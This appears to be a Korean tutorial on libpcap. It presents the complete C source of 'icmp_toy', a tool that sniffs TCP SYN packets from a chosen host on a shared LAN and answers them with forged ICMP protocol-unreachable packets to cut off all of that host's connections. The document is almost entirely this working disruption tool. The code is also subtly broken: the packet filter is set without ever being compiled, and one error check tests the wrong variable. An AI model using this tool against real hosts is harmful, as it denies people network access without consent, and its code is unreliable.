libpcap을 이용한 간단한 응용의 예를 보이도록 하겠습니다.
icmp_toy는 특정 호스트의 ip address를 입력으로 받아 그 호스트의 모든 접속을 차단해 버리는 프로그램으로 해당 호스트의 tcp, syn flag가 set된 패킷을 libpcap을 이용하여 캡쳐한 후 해당 패킷에 대한 icmp protocol unreachable 패킷을 해당 호스트에게 재전송하게 됩니다.
입력한 호스트는 icmp_toy가 구동중인 호스트와 같은 네트워크에 구성되어 있고, Dummy Hub 환경이여야만 제대로 작동하게 됩니다.
icmp packet은 아래와 같은 구조로 만들어주게 됩니다.
Destination Unreachable Message
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| unused |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Internet Header + 64 bits of Original Data Datagram |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type : 3
Code : 2 = protocol unreachable
<RFC792>
|
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pcap.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#define PROMISCUOUS 1
static int nchild = 5;
char target_ip[16];
static pid_t *pids;
static pcap_t *pd;
unsigned short in_cksum (unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
void send_icmp (int sockfd, struct iphdr *iph, struct tcphdr *tcph)
{
char buff[76];
char data[28];
int len;
struct sockaddr send;
struct icmp *icmp;
struct sockaddr_in *willsend;
willsend = (struct sockaddr_in *) &send;
willsend->sin_family = AF_INET;
willsend->sin_addr.s_addr = iph->saddr;
fprintf (stdout, "A player\'s number is (%d) : Shot!! ---<-@ %s \n",
getpid (), target_ip);
icmp = (struct icmp *) buff;
icmp->icmp_type = ICMP_DEST_UNREACH;
icmp->icmp_code = ICMP_PROT_UNREACH;
icmp->icmp_id = 0;
icmp->icmp_seq = 0;
memcpy (data, iph, 20);
memcpy (data + 20, tcph, 8);
memcpy (icmp->icmp_data, data, 28);
len = 8 + 20 + 8;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = in_cksum ((u_short *) icmp, len);
sendto (sockfd, buff, len, 0, &send, sizeof (send));
}
void checkip (struct iphdr *iph, struct tcphdr *tcph)
{
int sockfd;
char source_ip[16];
struct in_addr in;
in.s_addr = iph->saddr;
strncpy (source_ip, inet_ntoa (in), sizeof (source_ip));
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (strncmp (target_ip, source_ip, sizeof (source_ip)) == 0)
send_icmp (sockfd, iph, tcph);
close (sockfd);
}
void packet_info (char *user, int len)
{
struct iphdr *iph;
struct tcphdr *tcph;
iph = (struct iphdr *) user;
tcph = (struct tcphdr *) (user + iph->ihl * 4);
checkip (iph, tcph);
}
void sig_int (int sig)
{
int i;
for (i = 0; i < nchild; i++)
kill (pids[i], SIGTERM);
while (wait (NULL) > 0)
;
fprintf (stdout, "Bye !!\n");
pcap_close(pd);
exit (0);
}
pid_t child_make (int i, pcap_t * pd, int datalink)
{
pid_t pid;
void child_main (int, pcap_t *, int);
if ((pid = fork ()) > 0) {
return (pid);
}
child_main (i, pd, datalink);
return 0; // ADD
}
void child_main (int i, pcap_t * pd, int datalink)
{
void packet_loop (pcap_t *, int);
printf ("CHILD %ld starting\n", (long) getpid ());
packet_loop (pd, datalink);
}
char *next_pcap (pcap_t * pd, int *len)
{
char *ptr;
struct pcap_pkthdr hdr;
while ((ptr = (char *) pcap_next (pd, &hdr)) == NULL);
*len = hdr.caplen;
return (ptr);
}
void packet_loop (pcap_t * pd, int datalink)
{
int len;
char *ptr;
for (;;) {
ptr = next_pcap (pd, &len);
switch (datalink) {
case DLT_EN10MB:
packet_info (ptr + 14, len - 14);
break;
}
}
}
void usage (void)
{
fprintf (stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address) \n");
}
int main (int argc, char *argv[])
{
struct bpf_program fcode;
char *device, *filter_rule;
char ebuf[PCAP_ERRBUF_SIZE];
int i, j, snaplen = 68;
bpf_u_int32 localnet, netmask;
signal (SIGINT, sig_int);
if (argc < 2) {
usage ();
exit (1);
}
strncpy (target_ip, argv[1], sizeof (target_ip));
filter_rule = "tcp and tcp[13:1] & 2 != 0";
device = pcap_lookupdev (ebuf);
if (device == NULL)
{
perror (ebuf);
exit (1);
}
pd = pcap_open_live (device, snaplen, PROMISCUOUS, 1000, ebuf);
if (pd == NULL)
{
perror (ebuf);
exit (1);
}
i = pcap_snapshot (pd);
if (snaplen < 1)
{
perror (ebuf);
exit (1);
}
if (pcap_lookupnet (device, &localnet, &netmask, ebuf) < 0)
{
perror (ebuf);
exit (1);
}
if (pcap_setfilter (pd, &fcode) < 0)
{
perror (ebuf);
exit (1);
}
fflush (stderr);
pids = calloc (nchild, sizeof (pid_t));
for (j = 0; j < nchild; j++)
pids[j] = child_make (j, pd, pcap_datalink (pd));
for (;;)
pause ();
}
|